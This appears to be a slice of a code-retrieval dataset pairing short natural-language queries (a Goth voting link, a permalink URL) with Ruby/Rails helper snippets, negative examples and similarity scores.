"0.6872272",
"0.68700296",
"0.6861095",
"0.6858027",
"0.6834863",
"0.683111",
"0.683",
"0.6824814",
"0.68229574",
"0.68200064",
"0.68132305",
"0.6783789",
"0.67777956",
"0.676472",
"0.6757568",
"0.67473245",
"0.67441314",
"0.67435324",
"0.67435014",
"0.67266625",
"0.6724087",
"0.67226195",
"0.6702341",
"0.6669408",
"0.6652621",
"0.66323936",
"0.6625641",
"0.66237223",
"0.6622522",
"0.6622084",
"0.66212606",
"0.6616788",
"0.6611354",
"0.6609582",
"0.66033876",
"0.6601471",
"0.66009855",
"0.6598366",
"0.65967435",
"0.6566456",
"0.65535533",
"0.6551436",
"0.65209895",
"0.65187466",
"0.651684",
"0.651684",
"0.6516108",
"0.6514325",
"0.6514236",
"0.6513896",
"0.6511166",
"0.65087545",
"0.6497942",
"0.6496889",
"0.64902717",
"0.64879876",
"0.64877707",
"0.64849347",
"0.64765066",
"0.6474743",
"0.6469413",
"0.645771",
"0.6456317",
"0.6451889",
"0.6450235",
"0.644996",
"0.6449754",
"0.6448874",
"0.64488566",
"0.64453965",
"0.6436497",
"0.643133",
"0.6431315",
"0.6430222",
"0.64271474",
"0.64176124",
"0.64089"
] |
0.0
|
-1
|
link to this Goths voting page on gothornot.com
|
def goth_vote_link(goth)
link_to goth.name, "http://gothornot.com/?vote_username=#{goth.name}"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def vote(id)\n require_login!\n url = get(ITEM_URL % id).match(/<a id=up_\\d+ onclick=\"return vote\\(this\\)\" href=\"(vote\\?[^\"]+)\">/)[1]\n get(BASE_URL + '/' + url)\n end",
"def vote(id)\n require_login!\n url = get(ITEM_URL % id).match(/<a id=up_\\d+ onclick=\"return vote\\(this\\)\" href=\"(vote\\?[^\"]+)\">/)[1]\n get(BASE_URL + '/' + url)\n end",
"def tweet_link_for_new_free_episode_vland\n \t\t# TODO\n \tend",
"def voter_attestation_url(voter)\n leo_attestation_url(@voter, :protocol => 'https')\nend",
"def upvotelnk(beer)\n if current_user && current_user.votes.where(:beer_id => beer.id, :up => true).present?\n \t\"you up-voted\"\n \t\telse\n \t\tlink_to 'click to up-vote', votes_path(:vote => {:beer_id => beer.id, :up => true}), :method => :post\n \t\tend\n\nend",
"def vote\n puts \"-----------------------------------------------\nSorry, voting system is currently not working\"\n \nend",
"def withdraw_vote(link_or_comment)\n vote link_or_comment, 0\n end",
"def new\n # Not generally used. Most people want to vote via AJAX calls.\n end",
"def nexia_link # :doc:\n content_box.a(:text => \"nexiahome.com\")\n end",
"def og_url\n \"http://gaymerconnect.com/users/#{url}\"\n end",
"def up_vote\n session[:return_to] ||= request.referer\n @link = Link.find(params[:id])\n @link.upvotes = @link.upvotes + 1\n @link.save\n redirect_to session.delete(:return_to)\n end",
"def pct_html(naming)\n percent = \"#{naming.vote_percent.round}%\"\n\n link_with_query(h(percent),\n naming_vote_path(naming_id: naming.id),\n class: \"vote-percent btn btn-link px-0\",\n onclick: \"MOEvents.whirly();\",\n remote: true)\n end",
"def guest_link\n return guest_hearing_link if guest_hearing_link.present?\n\n \"#{VirtualHearing.base_url}?join=1&media=&escalate=1&\" \\\n \"conference=#{formatted_alias_or_alias_with_host}&\" \\\n \"pin=#{guest_pin}&role=guest\"\n end",
"def c_poll_url(poll_id, answer_id, custom_vote_hash, referrer_URL) \n query_string = {\n p: poll_id,\n b: 0,\n a: answer_id,\n o: '',\n va: 0,\n cookie: 0,\n n: self.c_vote_id(custom_vote_hash),\n url: referrer_URL\n }\n\n\n uri = self.polldaddy + \"?\" + my_query_maker(query_string)\n uri.to_s\n end",
"def vote\n shared_vote(params[:vote], @phrase, current_user)\n redirect_back(fallback_location: root_path)\n end",
"def vote\n\tend",
"def vote\n @ppl = Ppl.find_by_verification_code(params[:verification_code])\n unless @ppl\n flash[:script] = \"$.flash.warn('Nanny-nanny boo-boo pants on fire', 'No cheating.')\"\n redirect_to \"/\" and return\n end\n @ppl.verify!\n flash[:script] = nil\n\n page = @ppl.voted_nom ? :results : :vote\n\n render page\n end",
"def show\n @vote_comments = @link.vote_comments.page params[:page]\n end",
"def up_vote\n update_vote(1)\n redirect_to :back #redirect the user to wherever he came from\n end",
"def view_lot_link\n \"#{app_config.urls['aurora_url_prefix']}/#{self.lot_num}\"\n end",
"def vote_up\n @link = Link.find(params[:id])\n begin\n if current_user.poster?\n User.poster[rand(User.poster.count)].vote_exclusively_for(@link)\n else\n if current_user.voted_for?(@link)\n current_user.clear_votes(@link)\n else\n current_user.vote_exclusively_for(@link)\n end\n end\n @link.update_hotness!\n respond_to do |format|\n format.js\n format.html {redirect_to :back}\n end\n rescue ActiveRecord::RecordInvalid\n render :nothing => true, :status => 404\n end\n end",
"def upVote\n current_brother.upVote(@rushee)\n redirect_to :back\n end",
"def show\n @vote = @votable.votes.find(params[:id])\n end",
"def vote up\n end",
"def upvote\n @link = Link.find(params[:id])\n @user = User.find(current_user.id)\n @vote = @link.votes.create(params[:link])\n @vote.user = @user\n @vote.link = @link\n @vote.score = 1\n \n respond_to do |format|\n if @vote.save!\n format.html { redirect_to(links_path, :notice => 'Your vote has been cast.') }\n else\n format.html { redirect_to(links_path, :notice => 'Error recording vote, please try again later.') }\n end\n \n end\n end",
"def trivia_url(selected_movie)\r\n movie_page = movie_page(selected_movie)\r\n movie_url = movie_url(selected_movie)\r\n resource = movie_page.css(\"div#trivia a.nobr\")[0][\"href\"].to_s\r\n trivia_url = movie_url.to_s + resource\r\n end",
"def liked_post(post)\n if current_user.voted_for? post\n return link_to '', unlike_post_path(post), remote: true, id: \"like_#{post.id}\", \n class: \"glyphicon glyphicon-heart liked_post_heart\"\n else\n link_to '', like_post_path(post), remote: true, id: \"like_#{post.id}\", \n class: \"glyphicon glyphicon-heart-empty\" \n end\n end",
"def link \n puts \"It's Dangerous To Go Alone! Take This.\"\nend",
"def get_votd\n netbible_data = JSON.parse(HTTParty.get(URI))\n\n # use bookname from first verse -- assume votd won't span books\n bookname = netbible_data[0][\"bookname\"]\n\n # use chapter from first verse -- assume votd won't span chapters\n chapter = netbible_data[0][\"chapter\"]\n\n # loop through each verse to get the verse numbers and verse text\n verse_numbers = Array.new\n verses = Array.new\n netbible_data.each do |verse|\n verse_numbers << verse[\"verse\"]\n verses << verse[\"text\"]\n end\n\n # now build the reference\n @reference = \"#{bookname} #{chapter}:#{verse_numbers.join(\"-\")}\"\n\n # build the text\n text = Helper::Text.strip_html_tags(verses.join(\" \"))\n text = Helper::Text.clean_verse_start(text)\n text = Helper::Text.clean_verse_end(text)\n\n @text = text\n\n @version = BIBLE_VERSION\n @version_name = BIBLE_VERSION_NAME\n\n @link = generate_link(bookname, chapter, verse_numbers.first)\n\n rescue => e\n # use default info for VotD\n set_defaults\n # @todo Add logging\n end",
"def link() url; end",
"def link() url; end",
"def search_ah_link(atk, health, content)\n string = \"<a href='#{@search_url}type=troop&atk=#{atk}&health=#{health}'>#{content}</a>\"\nend",
"def vote_up\n 15\n end",
"def upvote\n @pin.upvote_by current_user\n redirect_to :back, notice: 'Pin was upvoted!'\n # redirect_to request.referer || root_path, notice:'Link upvoted!'\n end",
"def story_url(story_id)\n \"https://www.pivotaltracker.com/story/show/#{story_id}\"\n end",
"def voting_method\n VOTING_METHODS[self.voting_method_id]\n end",
"def create\n @link = Link.find_by_slug(params[:format])\n @link.upvotes.create!(user: current_user)\n calculate_points_for(current_user, 1)\n redirect_to root_path\n end",
"def event_url\n \"http://gigs.gigatools.com/gig/#{self.id}\"\n end",
"def share_url\n section.to_s + \".\" + runningno.to_s + \"?edition=\" + edition_year.to_s\n end",
"def set_voting\n @voting = Voting.find(params[:id])\n end",
"def set_voting\n @voting = Voting.find(params[:id])\n end",
"def set_voting\n @voting = Voting.find(params[:id])\n end",
"def show\n @vote = Vote.find(params[:id])\n end",
"def link(wallet_id, otp)\n\t\t\t\tJuspayCheckout::ExpressCheckout.request(\"/wallets/#{wallet_id}\", 'post', {command: 'link', otp: otp})\n\t\t\tend",
"def fetch_adword_url_top(adword)\n\t\t\"http://#{adword.text}\"\n\tend",
"def click(link); end",
"def p_url\n Rails.application.routes.url_helpers.rent_url(id, host: PUBLIC_URL)\n end",
"def href; end",
"def up_vote\n #raise\n update_vote(1)\n # redirect_back(fallback_location: root_path)\n respond_to do |format|\n format.html\n format.js\n end\n end",
"def new_vote(vote, votable, voter)\n vote == 'up' ? votable.upvote_by(voter) : votable.downvote_by(voter)\n change_carma(vote, votable, voter,\n ex_up: 2, ex_down: -1, ph_up: 4, ph_down: -2, usr: 1)\n flash[:notice] = 'Thank you for your vote.'\n end",
"def get_viewer_link(urn,access_token)\n #absolute url = request.base_url\n url = \"/viewer1.html?token=#{access_token}&urn=#{urn}\"\n link = \"<a href=\\\"#{url}\\\" target=\\\"_blank\\\">View Model</a>\"\n return link\n end",
"def viglink(link=\"\", uid=\"\")\n if link.present? && ENV['VIGLINK_KEY']\n parameters = \"key=#{ENV['VIGLINK_KEY']}\"\n parameters += \"&cuid=#{CGI.escape(uid)}\" if uid.present?\n parameters += \"&u=#{CGI.escape(link)}\"\n\n return \"http://redirect.viglink.com?#{parameters}\"\n else\n \"\"\n end\n end",
"def goth_permalink(goth)\n\t\tlink_to goth.name, goth_permalink_url(goth)\n\tend",
"def facebox_link_num(num, url, title)\n if num > 0\n link_to(num, \"#\", { :class => \"vtip\", :onclick => \"tb_show('#{title}','#{url}','')\", :title => title })\n else\n 0\n end\n end",
"def down_vote\n session[:return_to] ||= request.referer\n @link = Link.find(params[:id])\n @link.downvotes = @link.downvotes + 1\n @link.save\n redirect_to session.delete(:return_to)\n end",
"def show\n @your_vote = RaceCar.find_by_id(cookies[:voted_for])\n end",
"def show_rating(id, numb, ctrl_name, check_rated, val_rate)\n if !logged_in?\n link_to_require_login(numb)\n elsif check_rated\n link_to(numb, \"javascript:;\", :class => \"vtip\", :title => \"#{configatron.str_rated}\")\n else\n link_to numb, { :controller => ctrl_name, :action => \"rate\", :post_id => id, :rating => val_rate }, :remote => true\n end\n end",
"def youtube_link_decider(results)\n if results.confidence < 0.5\n link = \"nope1\"\n else\n case results.intent\n when \"greetings\"\n link = '0Bmhjf0rKe8'\n else\n link = \"nope2\"\n end\n end\n\n return link\n end",
"def play_rock\n self.redirect_to(\"https://www.wikipedia.org\")\n end",
"def learn_url\n \"http://learn.uwaterloo.ca\"\n end",
"def votes(options = {})\n get('/votes', options)\n end",
"def index\n @links = Link.order_by_popularity\n\n @links.each do |link|\n if current_user\n @current_vote = current_user.upvotes.find_by(link_id: link.id)\n end\n end\n end",
"def upvote\n @recipe.upvote_from current_user\n redirect_to root_path\n end",
"def goth_permalink_url(goth)\n\t\tmonth = sprintf('%0.2d', goth.published_at.month)\n\t\tday = sprintf('%0.2d', goth.published_at.day)\n\t\tgoth_url :year => goth.published_at.year, :month => month, :day => day, :name => goth.name\n\tend",
"def index\n @votings = Voting.all\n end",
"def link\n id = session[:id].to_s\n url =\"http://ourco2.org/dopplr/?userid=\"+id\n redirect_to \"https://www.dopplr.com/api/AuthSubRequest?scope=http://www.dopplr.com&next=\"+url+\"&session=1\"\n end",
"def link\n '-'\n end",
"def linkpoint\n @enabled = Confline.get_value(\"Linkpoint_Enabled\", 0).to_i\n unless @enabled == 1\n render :text => \"\" and return false\n end\n @page_title = _('LinkPoint')\n @page_icon = \"money.png\"\n @currency = Confline.get_value(\"Linkpoint_Default_Currency\")\n\n end",
"def link\n BASE_URL + (private? ? \"/private/#{@key}\" : \"/#{@id}\")\n end",
"def vote\n\t\trandomPlayer\n\tend",
"def index\n @votes = Vote.all\n if params[:poll]\n @poll = Poll.find(params[:poll])\n if Vote.find_by_ip_and_poll_id(request.remote_ip, @poll.id) == nil\n redirect_to \"#{new_vote_url}?poll=#{@poll.id}\", notice: 'You have not voted for this poll yet. Cast a vote to view results.' \n else\n #format.html { redirect_to \"#{votes_url}?poll=#{@poll.id}\", notice: 'View results.' }\n end\n else\n @poll = Poll.new\n end\n \n end",
"def rating_links(place)\n average = (place.rating_average.blank? ? 0 : place.rating_average) * 100 / 5\n\n html = \"<ul class='stars'>\"\n html += \"<li class='current_rating' style='width: #{average}%'>#{average}%</li>\"\n# if(!place.rated?)\n html += \"<li>#{link_to_remote \"One\", :update => \"place_rating_#{place.id}\", :url => rate_place_path(place, :rating => 1), :html => {:class => \"one_star\"}, :method => :put}</li>\"\n html += \"<li>#{link_to_remote \"Two\", :update => \"place_rating_#{place.id}\", :url => rate_place_path(place, :rating => 2), :html => {:class => \"two_stars\"}, :method => :put}</li>\"\n html += \"<li>#{link_to_remote \"Three\", :update => \"place_rating_#{place.id}\", :url => rate_place_path(place, :rating => 3), :html => {:class => \"three_stars\"}, :method => :put}</li>\"\n html += \"<li>#{link_to_remote \"Four\", :update => \"place_rating_#{place.id}\", :url => rate_place_path(place, :rating => 4), :html => {:class => \"four_stars\"}, :method => :put}</li>\"\n html += \"<li>#{link_to_remote \"Five\", :update => \"place_rating_#{place.id}\", :url => rate_place_path(place, :rating => 5), :html => {:class => \"five_stars\"}, :method => :put}</li>\"\n# end\n html += \"</ul>\"\n html += \"<span class='click' style='display:none;'> jetzt bewerten!</span>\"\n html += \"<span class='rating_count'>(#{pluralize(place.rating_count, 'Bewertung', 'Bewertungen')})</span>\"\n html\n end",
"def og_url\n \"http://gaymerconnect.com/groups/#{url}\"\n end",
"def cyd_contest_link(consumer)\n result = \"http://contest.claimyouredeal.com/contest/viewContest/userId:\"\n random_key = generate_random_key\n result << encrypted_consumer_id(consumer, random_key)\n result << \",token:\"\n result << hashed_token(random_key)\n result << \",key:\"\n result << random_key\n result\n end",
"def show\n @participation_urls = participation_urls(@poll)\n @answers = @poll.number_histogram\n end",
"def support_link\n \"https://discord.gg/#{support}\"\n end",
"def index\n @votes = @votable.votes\n end",
"def human_url\n return self.alternate_link\n end",
"def pingback_link_tag\n '<link rel=\"pingback\" href=\"'+pingback_server_url+'\" />'\n end",
"def publication_link\n h.link_to \"Read Now\" , object.publication_url , title: 'Read Now' , class: 'btn waves-effect waves-light btn-primary custom-btn' , target: '_blank'\n end",
"def url\n @gapi[\"selfLink\"]\n end",
"def url\n @gapi[\"selfLink\"]\n end",
"def browse_otu_link(object)\n return nil if object.nil?\n otu = object.metamorphosize\n content_tag(:div, '', 'data-taxon-name' => object_tag(otu), 'data-redirect' => 'true', 'data-id' => otu.id, 'data-klass' => object.class.base_class.name.to_s, 'data-otu-button' => 'true')\n end",
"def vote(link_or_comment, direction)\n full_name = extract_full_name(link_or_comment)\n parameters = { :id => full_name, :dir => direction, :api_type => 'json' }\n\n post('api/vote', parameters)\n end",
"def podia\n podia = \"https://laurentgarnier.podia.com/\"\n puts \"Go visit my courses on Podia: #{podia}\"\n puts \"What if you want to create your own course?\"\n puts \"What if you could make money online?\"\n own_course = \"http://bit.ly/podia-profil\"\n puts \"Just click here: #{own_course}\"\nend",
"def html_open_url\n #coin market\n page_url = \"https://coinmarketcap.com/all/views/all/\"\n doc = Nokogiri::HTML(open(page_url))\nend",
"def vote_up\n begin\n current_user.vote_for(@proclamation = Proclamation.find(params[:id]))\n render :show\n rescue ActiveRecord::RecordInvalid\n render :error\n end\n end",
"def link_google_images(obj)\n link_to \"GglImg\", \"http://images.google.com/images?q=#{obj.name}\", :target => '_blank'\n end",
"def detail_url\n \"#{user.annict_url}/@#{user.username}/reviews/#{id}\"\n end",
"def wiki_url\n \"https://hq.songbirdnest.com/wiki/index.php?title=Release:#{name}_Iteration_Notes#Iteration_#{@number}\"\n end",
"def short_url\n \"http://redd.it/#{self[:id]}\"\n end",
"def secret_page\n\n\t\t@unapproved_thoughts = Thought.where(:approved => false)\n\t\t@current_thoughts = Thought.where(:approved => true)\n\n\t\t# =S\n\t\t@latest_comments = Comment.find(:all,:order => \"id desc\", :limit => 5)\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\tend\n\tend",
"def quotes_url(selected_movie) \r\n movie_page = movie_page(selected_movie)\r\n movie_url = movie_url(selected_movie)\r\n resource = movie_page.css(\"div#quotes a.nobr\")[0][\"href\"].to_s\r\n quotes_url = movie_url.to_s + resource\r\n end",
"def show\n @links = Link.find(params[:id])\n @comments = Comment.all.where(link_id: params[:id])\n @comment = Comment.new\n @votes = Link.find(params[:id]).votes\n\n end",
"def show\n\t\t@vote_pic = VotePic.find(params[:id])\n end",
"def show_extra_links?\n user.is_gold?\n end",
"def url(link)\n '#'\n end",
"def post_url(vk_post)\n \"https://vk.com/wall#{vk_post.owner_id}_#{vk_post.post_id}\"\n end",
"def show\n gon.problem_id = params[:id]\n @brainstorm_url = \"http://#{params[:id]}.discourse.gotong.royong.org/session/sso?return_path=%2F\"\n end",
"def click_through_link\n\t\treturn '/items/' + self.items.first.slug if !self.items.first.blank?\n\t\treturn '/blog/' + self.blogs.first.slug if !self.blogs.first.blank?\n\t\treturn \"#\"\n\tend"
] |
[
"0.66571367",
"0.66571367",
"0.6273372",
"0.6111617",
"0.59387475",
"0.5918416",
"0.589596",
"0.5848515",
"0.58344",
"0.5804372",
"0.57919234",
"0.578811",
"0.57858884",
"0.57737035",
"0.5696298",
"0.5670926",
"0.56668305",
"0.5627904",
"0.5623263",
"0.5599123",
"0.55739385",
"0.5550753",
"0.5534134",
"0.5528417",
"0.55264145",
"0.55174303",
"0.54957443",
"0.5474866",
"0.5474251",
"0.5465623",
"0.5465623",
"0.5443672",
"0.54265463",
"0.54216474",
"0.53808194",
"0.53787297",
"0.53757334",
"0.53672856",
"0.53640276",
"0.5355763",
"0.5355763",
"0.5355763",
"0.534775",
"0.5340857",
"0.5336016",
"0.53352505",
"0.5334262",
"0.5334247",
"0.531969",
"0.5311527",
"0.5300071",
"0.5299612",
"0.52995586",
"0.5296266",
"0.5290839",
"0.52762604",
"0.527578",
"0.52532536",
"0.5235632",
"0.5229676",
"0.5227832",
"0.5219972",
"0.5213315",
"0.5213174",
"0.5211917",
"0.5204047",
"0.5200191",
"0.5196118",
"0.51818836",
"0.5180568",
"0.51794654",
"0.5175805",
"0.5171445",
"0.5161199",
"0.515872",
"0.5156494",
"0.5155101",
"0.51498765",
"0.5148758",
"0.5147429",
"0.51371515",
"0.51371515",
"0.513621",
"0.51360416",
"0.5131057",
"0.5128386",
"0.5126005",
"0.51195306",
"0.5114378",
"0.50963306",
"0.50957245",
"0.50927055",
"0.5089268",
"0.5088018",
"0.5085602",
"0.5083702",
"0.5080758",
"0.50802344",
"0.5073726",
"0.5066645"
] |
0.7825385
|
0
|
the url for the permalink to this goth
|
def goth_permalink_url(goth)
month = sprintf('%0.2d', goth.published_at.month)
day = sprintf('%0.2d', goth.published_at.day)
goth_url :year => goth.published_at.year, :month => month, :day => day, :name => goth.name
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def permalink\n return \"#{uri}\"\n end",
"def permalink\n \"/#{object.permalink}\"\n end",
"def permalink\n link(:perma)\n end",
"def permalink; end",
"def permalink; end",
"def permalink\n url = @path.inject(:+).to_s\n\n Henshin.local? ? url[1..-1] : url\n end",
"def to_param\n permalink\n end",
"def goth_permalink(goth)\n\t\tlink_to goth.name, goth_permalink_url(goth)\n\tend",
"def to_param; self.permalink end",
"def to_param\n permalink\n end",
"def to_param\n permalink\n end",
"def url\n if Henshin.local?\n permalink\n else\n permalink.sub /index\\.html$/, ''\n end\n end",
"def permalink\n data&.permalink\n end",
"def permalink\n project_url(Episode.active, project, host: Rails.application.config.rakismet.url)\n end",
"def generated_permalink; end",
"def permalink_for_url\n if permalink =~ /^https?:\\/\\//\n permalink\n else\n permalink.sub /^([^\\/]?)/, '/\\1'\n end\n end",
"def permalink(item)\n url = url_for(item)\n url.gsub!(/\\.html$/, '') #if url[0].chr == \"/\"\n \n return url\n end",
"def permalink\n link = object.path.gsub(\"::\", \"%2F\")\n link.tr!(\"?\", \"%3F\")\n link.tr!(\"#\", \":\")\n\n \"#{RUBYDOC_URL}/#{link}\"\n end",
"def to_param\n permalink_was\n end",
"def to_param\n permalink_was\n end",
"def to_param\n return permalink if to_param_returns_permalink\n super\n end",
"def name\n permalink\n end",
"def url\n return permalink if permalink\n\n @url ||= (ext == '.html') ? template.gsub(':name', basename) : \"/#{name}\"\n end",
"def url\n if @url\n @url\n else\n begin\n\n page_name = File.basename(self.name, '.*')\n config = @config['permalinks'][page_name]\n\n if config.is_a? String\n @url = config\n self.data['permalink'] = nil\n else\n @config['permalinks'][File.basename(self.name, '.*')] = self.data['permalink']\n end\n rescue; end\n\n super\n\n if @url && @url =~ /\\/$/\n if self.ext == '.xml'\n @url = File.join(@url, \"index.xml\")\n else\n @url = File.join(@url, \"index.html\")\n end\n end\n\n @url\n end\n end",
"def permalink\n self.data && self.data['permalink']\n end",
"def permalink\n self.data && self.data['permalink']\n end",
"def permalink\n \"/entries/#{slug}\"\n end",
"def admin_permalink\n admin_post_path(self)\n end",
"def admin_permalink\n admin_post_path(self)\n end",
"def admin_permalink\n admin_post_path(self)\n end",
"def permalink\n data.nil? ? nil : data[\"permalink\"]\n end",
"def permalink\n discussion.to_s.parameterize.split(\"-\").slice(0..4).join(\"-\")\n end",
"def permalink()\n return self.shares_permalink || self.video_page_permalink\n end",
"def url\n return @url if @url\n\n url = permalink ?\n if site.config['relative_permalinks']\n File.join(@dir, permalink)\n else\n permalink\n end :\n {\n 'lang' => self.lang,\n 'categories' => self.categories,\n 'basename' => self.basename,\n }.inject(template) { |result, token|\n result.gsub(/:#{token.first}/, token.last)\n }.gsub(/\\/\\//, '/')\n\n # sanitize url\n @url = url.split('/').reject { |part| part =~ /^\\.+$/ }.join('/')\n @url += '/' if url =~ /\\/$/\n @url.gsub!(/\\A([^\\/])/, '/\\1')\n @url\n end",
"def permalink_style; end",
"def post_permaurl(post)\n \"#{Blog.index}#{post.permalink[1..-1]}\"\n end",
"def p_url\n Rails.application.routes.url_helpers.rent_url(id, host: PUBLIC_URL)\n end",
"def admin_permalink\n admin_bromatologia_path(self)\n end",
"def current_permalink_url(rails_request=request, umlaut_request=@user_request, options = {})\n # if we don't have everything, we can't make a permalink. \n unless (umlaut_request && umlaut_request.referent &&\n umlaut_request.referent.permalinks &&\n umlaut_request.referent.permalinks[0] )\n\n return nil\n end\n \n return url_for(options.merge({:controller=>\"store\", \n :id=>umlaut_request.referent.permalinks[0].id,\n :only_path => false}) )\n \n end",
"def admin_permalink\n admin_deuda_path(self)\n end",
"def admin_permalink\n admin_business_path(self)\n end",
"def url\n \"#{self.public_path}/#{self.slug}\"\n end",
"def admin_permalink\n admin_expediente_path(self)\n end",
"def create_permalink\n self.permalink = CGI.escape(self.name.gsub(' ', '_')) if self.name\n end",
"def permalink(post)\n date = Date.parse(post['date'])\n title = Ruhoh::Utils.to_url_slug(post['title'])\n format = post['permalink'] || config['permalink']\n\n if format.include?(':')\n filename = File.basename(post['id'], File.extname(post['id']))\n category = Array(post['categories'])[0]\n category = category.split('/').map {|c| Ruhoh::Utils.to_url_slug(c) }.join('/') if category\n\n url = {\n \"year\" => date.strftime(\"%Y\"),\n \"month\" => date.strftime(\"%m\"),\n \"day\" => date.strftime(\"%d\"),\n \"title\" => title,\n \"filename\" => filename,\n \"i_day\" => date.strftime(\"%d\").to_i.to_s,\n \"i_month\" => date.strftime(\"%m\").to_i.to_s,\n \"categories\" => category || '',\n }.inject(format) { |result, token|\n result.gsub(/:#{Regexp.escape token.first}/, token.last)\n }.gsub(/\\/+/, \"/\")\n else\n # Use the literal permalink if it is a non-tokenized string.\n url = format.gsub(/^\\//, '').split('/').map {|p| CGI::escape(p) }.join('/')\n end \n\n @ruhoh.to_url(url)\n end",
"def set_permalink\n self.permalink = name.to_url if permalink.blank?\n end",
"def url_template\n @url_template ||= metadata.fetch(\"permalink\") do\n Utils.add_permalink_suffix(\"/:collection/:path\", site.permalink_style)\n end\n end",
"def url\n @url ||= URL.new(\n :template => url_template,\n :placeholders => url_placeholders,\n :permalink => permalink\n ).to_s\n end",
"def set_permalink \n if parent.present?\n self.permalink = [parent.permalink, name.to_url ].join('/')\n else\n self.permalink = name.to_url \n end\n end",
"def url\n @url ||= URL.new(\n :template => template,\n :placeholders => url_placeholders,\n :permalink => permalink\n ).to_s\n end",
"def url\n @url ||= if single_post?\n single_post.url.gsub(/\\.html$/, \".#{@format}\")\n else\n URL.new({\n template: @config['bundle_permalink'],\n placeholders: url_placeholders,\n permalink: nil }).to_s\n end\n end",
"def regenerate_permalink!\n \n self.permalink = if respond_to?(:parent)\n if parent.nil?\n \"/\"\n else\n File.join(parent.permalink, slug)\n end\n else\n \"/#{slug}\"\n end\n \n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def to_param\n \"#{id}-#{permalink}\"\n end",
"def url_was\n \"#{self.class.url}/#{slug_was}\"\n end",
"def permalink\n data && data.is_a?(Hash) && data[\"permalink\"]\n end",
"def pretty_post_url(post)\n\t\tdate = [post.post_at, post.created_at].compact.first\n\t\tpost_permalink_url(:year => date.year, :month => date.month, :day => date.day, :id => post.permalink)\n\tend",
"def url\n if self.controller and self.action and self.page_id\n return \"/#{self.controller}/#{self.action}/#{self.page_id}\"\n end\n if self.controller and self.action\n return \"/#{self.controller}/#{self.action}\"\n end\n if self.controller\n return \"/#{self.controller}\"\n end\n return \"/#{self.shortcut}\"\n end",
"def create_permalink\n self.permalink = self.name.gsub(/\\s/, \"-\").gsub(/_/, '-').gsub(/[^\\w-]/, '').downcase\n end",
"def public_url_for(title)\n metadata_or_default_img_from(title) do |metadata|\n # effective_url_from(metadata.web_content_link)\n if content_type =~ /image/\n custom_thumbnail_image_for(metadata.thumbnail_link, 1000)\n else\n metadata.web_view_link\n end\n end\n end",
"def url\n [ @parent.url, @name ].join('/')\n end",
"def url\n @url ||= URL.new(\n template: template,\n placeholders: url_placeholders,\n permalink: permalink\n ).to_s\n end",
"def posts_url\n if forum?\n forum_topic_url(@forum, @topic)\n elsif blog?\n blog_tab_url(@blog)\n # person_url(@blog.person, :anchor => \"tBlog\")\n end \n end",
"def set_permalink\n self.permalink = title.downcase.gsub(/[^0-9a-z]+/,' ').strip.gsub(' ','-') if title\n end",
"def noter_blog_url\n\t\t\"blogs/#{self.noter.main_blog_id}\"\n\tend",
"def generate_permalink\n self.permalink = fix_duplication(normalize(self.send(generate_from))) if permalink.blank?\n end",
"def set_permalink(options={})\n self.permalink = state.to_url + \"/\" + name.to_url + \"/\" if (self.permalink.blank? || options[:force])\n end",
"def permalinked\n yield(self)\n end",
"def url\n\t\t\"/\" + parents.reverse.map(&:slug).join(\"/\")\n\tend",
"def permalink_object\n @permalink_object || if permalink_repository\n permalink_repository.for_linkable(self).where(_current: true).first\n end\n end",
"def permalink(mobile=false)\n if mobile\n \"http://#{Flareshow::Service.server.host}/#{Flareshow::Service.server.domain}/shareflow/mobile/post/#{reply_to}\"\n else\n \"http://#{Flareshow::Service.server.host}/#{Flareshow::Service.server.domain}/shareflow/p/#{reply_to}?comment_id#{id}\"\n end\n end",
"def permalink_style=(_arg0); end",
"def to_param\n permalink = self.first_name + \"-\" + self.last_name\n \"#{id}-#{permalink}\"\n end",
"def set_permalink\n @permalink = Permalink.find(params[:id])\n end",
"def set_permalink\n if parent_id.nil?\n self.permalink = name.to_url if permalink.blank?\n else\n parent_taxon = Taxon.find(parent_id)\n self.permalink = [parent_taxon.permalink, (permalink.blank? ? name.to_url : permalink.split('/').last)].join('/')\n end\n end",
"def human_url\n return self.alternate_link\n end",
"def url\n @gapi[\"selfLink\"]\n end",
"def url\n @gapi[\"selfLink\"]\n end",
"def url() \n\t #'http://' << ENV['DOMAIN'] << \n\t '/' << self.author.username.to_s << '/' << self.name.to_s\n end",
"def url\n @url.to_s\n end",
"def url_for(page)\n base_url_for(\"#{model.link}/#{page}\")\n end",
"def post_url\n if forum?\n # By using including :posts, we ensure that the user's browser\n # will display the link as 'followed' when he makes a post,\n # so the link color will only change back to 'unfollowed' \n # if someone *else* makes a post.\n forum_topic_url(@forum, @topic, :posts => @topic.posts.count)\n elsif blog?\n blog_post_url(@blog, @post)\n end\n end",
"def public_url(locale=nil)\n locale ||= ::Globalize.locale\n p = self.permalink(locale)\n return nil unless p.presence\n u = [section.permalink, \"categories\", p]\n u.unshift(locale.to_s) if (locale.to_sym != site.default_locale)\n u = u.join('/')\n u = '/' + u\n u\n end",
"def custom_link\n if self.permalink.blank?\n self.company_name\n else\n self.permalink\n end\n end",
"def get_permalink(pagename)\n\t\tpagename.gsub(\" \", \"_\").downcase\n\tend",
"def get_permalink(pagename)\n\t\tpagename.gsub(\" \", \"_\").downcase\n\tend",
"def link() url; end",
"def link() url; end",
"def get_url(page, pr_id = 0)\n return \"#{ENV[\"HOST_NAME\"]}/p/u#{page.user.id}-p#{page.short_title}#{pr_id == 0 ? '' : '?pr_id=' + pr_id.to_s}\"\n end",
"def generate_permalink!\n self.permalink = fix_duplication(normalize(self.send(generate_from)))\n end"
] |
[
"0.8632819",
"0.8527186",
"0.8285557",
"0.8266239",
"0.8266239",
"0.8168464",
"0.81603986",
"0.81181335",
"0.7971718",
"0.79575455",
"0.79575455",
"0.79242206",
